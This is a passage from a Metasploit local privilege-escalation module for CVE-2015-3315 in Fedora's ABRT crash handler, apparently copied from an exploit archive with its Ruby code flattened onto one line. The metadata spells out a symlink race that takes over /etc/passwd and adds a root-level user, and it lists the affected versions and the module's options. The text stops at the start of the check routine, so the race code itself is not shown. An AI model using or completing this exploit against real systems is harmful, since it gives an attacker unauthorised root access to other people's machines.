ABRT – ‘raceabrt’ Privilege Escalation (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ABRT raceabrt Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Fedora systems with a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured as the crash handler. A race condition allows local users to change ownership of arbitrary files (CVE-2015-3315). This module uses a symlink attack on '/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, then adds a new user with UID=0 GID=0 to gain root privileges. Winning the race could take a few minutes. This module has been tested successfully on ABRT packaged version 2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop 19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64. Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and C exploit 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'DisclosureDate' => 'Apr 14 2015', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'CVE', '2015-3315' ], [ 'EDB', '36747' ], [ 'BID', '75117' ], [ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], [ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], [ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], [ 'URL', 'https://access.redhat.com/articles/1415483' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] ] )) register_options( [ OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'] end def timeout datastore['TIMEOUT'] end def check if cmd_exec('lsattr /etc/passwd').include?
